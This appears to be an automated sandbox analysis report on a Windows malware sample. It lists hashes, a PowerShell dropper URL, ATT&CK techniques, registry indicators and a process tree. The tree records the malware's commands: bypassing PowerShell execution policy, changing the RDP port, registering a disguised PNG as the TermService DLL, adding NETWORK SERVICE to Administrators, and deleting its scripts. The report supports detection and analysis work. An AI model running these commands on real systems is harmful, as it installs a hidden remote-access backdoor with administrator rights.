02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9

Analysis

max time kernel
137s
max time network
141s
platform
windows10_x64
resource
win10v20210408
submitted
24-08-2021 04:58

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General

Target

1aa9dda1b9b413444b0668500611c7f3.exe
Size

7.2MB
MD5

1aa9dda1b9b413444b0668500611c7f3
SHA1

d980ac83bf107df1a7510ad94304a7e364d927a5
SHA256

02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
SHA512

37a301fd61c42c10f774950826469f215a20a24d783316febfeafd0fa06d88f536daa4d5d10153fd1ec42cc778d87716fe5b4bb9782c03e86a4e3b336e9efd53

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 5 IoCs

flow	pid	Process
18	1700	powershell.exe
20	1700	powershell.exe
21	1700	powershell.exe
22	1700	powershell.exe
24	1700	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2172	Uso.exe.com
3048	Uso.exe.com
3560	Uso.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab56-371.dat	upx
behavioral2/files/0x000700000001ab57-372.dat	upx

Deletes itself 1 IoCs

pid	Process
4048	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3504	Process not Found
3504	Process not Found

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3048 set thread context of 3560	3048	Uso.exe.com	86

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_rf3elegc.ymj.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI647.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI687.tmp	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_e3m2orhk.v0w.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI627.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5B9.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI697.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1200 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3956	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1424	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
4008	powershell.exe
4008	powershell.exe
4008	powershell.exe
3960	powershell.exe
3960	powershell.exe
3960	powershell.exe
2388	powershell.exe
2388	powershell.exe
2388	powershell.exe
4048	powershell.exe
4048	powershell.exe
4048	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	Uso.exe.com
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeIncreaseQuotaPrivilege	4008	powershell.exe
Token: SeSecurityPrivilege	4008	powershell.exe
Token: SeTakeOwnershipPrivilege	4008	powershell.exe
Token: SeLoadDriverPrivilege	4008	powershell.exe
Token: SeSystemProfilePrivilege	4008	powershell.exe
Token: SeSystemtimePrivilege	4008	powershell.exe
Token: SeProfSingleProcessPrivilege	4008	powershell.exe
Token: SeIncBasePriorityPrivilege	4008	powershell.exe
Token: SeCreatePagefilePrivilege	4008	powershell.exe
Token: SeBackupPrivilege	4008	powershell.exe
Token: SeRestorePrivilege	4008	powershell.exe
Token: SeShutdownPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeSystemEnvironmentPrivilege	4008	powershell.exe
Token: SeRemoteShutdownPrivilege	4008	powershell.exe
Token: SeUndockPrivilege	4008	powershell.exe
Token: SeManageVolumePrivilege	4008	powershell.exe
Token: 33	4008	powershell.exe
Token: 34	4008	powershell.exe
Token: 35	4008	powershell.exe
Token: 36	4008	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeIncreaseQuotaPrivilege	3960	powershell.exe
Token: SeSecurityPrivilege	3960	powershell.exe
Token: SeTakeOwnershipPrivilege	3960	powershell.exe
Token: SeLoadDriverPrivilege	3960	powershell.exe
Token: SeSystemProfilePrivilege	3960	powershell.exe
Token: SeSystemtimePrivilege	3960	powershell.exe
Token: SeProfSingleProcessPrivilege	3960	powershell.exe
Token: SeIncBasePriorityPrivilege	3960	powershell.exe
Token: SeCreatePagefilePrivilege	3960	powershell.exe
Token: SeBackupPrivilege	3960	powershell.exe
Token: SeRestorePrivilege	3960	powershell.exe
Token: SeShutdownPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeSystemEnvironmentPrivilege	3960	powershell.exe
Token: SeRemoteShutdownPrivilege	3960	powershell.exe
Token: SeUndockPrivilege	3960	powershell.exe
Token: SeManageVolumePrivilege	3960	powershell.exe
Token: 33	3960	powershell.exe
Token: 34	3960	powershell.exe
Token: 35	3960	powershell.exe
Token: 36	3960	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeIncreaseQuotaPrivilege	2388	powershell.exe
Token: SeSecurityPrivilege	2388	powershell.exe
Token: SeTakeOwnershipPrivilege	2388	powershell.exe
Token: SeLoadDriverPrivilege	2388	powershell.exe
Token: SeSystemProfilePrivilege	2388	powershell.exe
Token: SeSystemtimePrivilege	2388	powershell.exe
Token: SeProfSingleProcessPrivilege	2388	powershell.exe
Token: SeIncBasePriorityPrivilege	2388	powershell.exe
Token: SeCreatePagefilePrivilege	2388	powershell.exe
Token: SeBackupPrivilege	2388	powershell.exe
Token: SeRestorePrivilege	2388	powershell.exe
Token: SeShutdownPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeSystemEnvironmentPrivilege	2388	powershell.exe
Token: SeRemoteShutdownPrivilege	2388	powershell.exe
Token: SeUndockPrivilege	2388	powershell.exe
Token: SeManageVolumePrivilege	2388	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2172	Uso.exe.com
2172	Uso.exe.com
2172	Uso.exe.com
3048	Uso.exe.com
3048	Uso.exe.com
3048	Uso.exe.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2172	Uso.exe.com
2172	Uso.exe.com
2172	Uso.exe.com
3048	Uso.exe.com
3048	Uso.exe.com
3048	Uso.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 204	652	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 652 wrote to memory of 204	652	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 652 wrote to memory of 204	652	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 652 wrote to memory of 940	652	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 652 wrote to memory of 940	652	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 652 wrote to memory of 940	652	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 940 wrote to memory of 3180	940	cmd.exe	80
PID 940 wrote to memory of 3180	940	cmd.exe	80
PID 940 wrote to memory of 3180	940	cmd.exe	80
PID 3180 wrote to memory of 744	3180	cmd.exe	81
PID 3180 wrote to memory of 744	3180	cmd.exe	81
PID 3180 wrote to memory of 744	3180	cmd.exe	81
PID 3180 wrote to memory of 2172	3180	cmd.exe	82
PID 3180 wrote to memory of 2172	3180	cmd.exe	82
PID 3180 wrote to memory of 1424	3180	cmd.exe	83
PID 3180 wrote to memory of 1424	3180	cmd.exe	83
PID 3180 wrote to memory of 1424	3180	cmd.exe	83
PID 2172 wrote to memory of 3048	2172	Uso.exe.com	84
PID 2172 wrote to memory of 3048	2172	Uso.exe.com	84
PID 3048 wrote to memory of 3560	3048	Uso.exe.com	86
PID 3048 wrote to memory of 3560	3048	Uso.exe.com	86
PID 3048 wrote to memory of 3560	3048	Uso.exe.com	86
PID 3048 wrote to memory of 3560	3048	Uso.exe.com	86
PID 3560 wrote to memory of 4048	3560	Uso.exe.com	88
PID 3560 wrote to memory of 4048	3560	Uso.exe.com	88
PID 4048 wrote to memory of 736	4048	powershell.exe	90
PID 4048 wrote to memory of 736	4048	powershell.exe	90
PID 736 wrote to memory of 3936	736	csc.exe	91
PID 736 wrote to memory of 3936	736	csc.exe	91
PID 4048 wrote to memory of 4008	4048	powershell.exe	92
PID 4048 wrote to memory of 4008	4048	powershell.exe	92
PID 4048 wrote to memory of 3960	4048	powershell.exe	95
PID 4048 wrote to memory of 3960	4048	powershell.exe	95
PID 4048 wrote to memory of 2388	4048	powershell.exe	97
PID 4048 wrote to memory of 2388	4048	powershell.exe	97
PID 4048 wrote to memory of 1708	4048	powershell.exe	99
PID 4048 wrote to memory of 1708	4048	powershell.exe	99
PID 4048 wrote to memory of 3956	4048	powershell.exe	100
PID 4048 wrote to memory of 3956	4048	powershell.exe	100
PID 4048 wrote to memory of 8	4048	powershell.exe	101
PID 4048 wrote to memory of 8	4048	powershell.exe	101
PID 4048 wrote to memory of 752	4048	powershell.exe	102
PID 4048 wrote to memory of 752	4048	powershell.exe	102
PID 752 wrote to memory of 776	752	net.exe	103
PID 752 wrote to memory of 776	752	net.exe	103
PID 4048 wrote to memory of 1520	4048	powershell.exe	104
PID 4048 wrote to memory of 1520	4048	powershell.exe	104
PID 1520 wrote to memory of 3548	1520	cmd.exe	105
PID 1520 wrote to memory of 3548	1520	cmd.exe	105
PID 3548 wrote to memory of 2272	3548	cmd.exe	106
PID 3548 wrote to memory of 2272	3548	cmd.exe	106
PID 2272 wrote to memory of 672	2272	net.exe	107
PID 2272 wrote to memory of 672	2272	net.exe	107
PID 4048 wrote to memory of 1488	4048	powershell.exe	108
PID 4048 wrote to memory of 1488	4048	powershell.exe	108
PID 1488 wrote to memory of 1232	1488	cmd.exe	109
PID 1488 wrote to memory of 1232	1488	cmd.exe	109
PID 1232 wrote to memory of 384	1232	cmd.exe	110
PID 1232 wrote to memory of 384	1232	cmd.exe	110
PID 384 wrote to memory of 3984	384	net.exe	111
PID 384 wrote to memory of 3984	384	net.exe	111
PID 2340 wrote to memory of 508	2340	cmd.exe	115
PID 2340 wrote to memory of 508	2340	cmd.exe	115
PID 508 wrote to memory of 4052	508	net.exe	116

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe
"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\System32\dllhost.exe"
  2⤵
  PID:204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx
      4⤵
      PID:744
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
      Uso.exe.com B
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2172
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3048
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4048
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ij3e41ey\ij3e41ey.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:736
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC5E.tmp" "c:\Users\Admin\AppData\Local\Temp\ij3e41ey\CSCB1FF2C35EB8749A8BFDD69BC8F507054.TMP"
        9⤵
        
        PID:3936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1708
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:3956
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:8
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:752
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:776
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1520
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3548
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:672
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1488
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1232
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:384
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:3984
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:4000
        
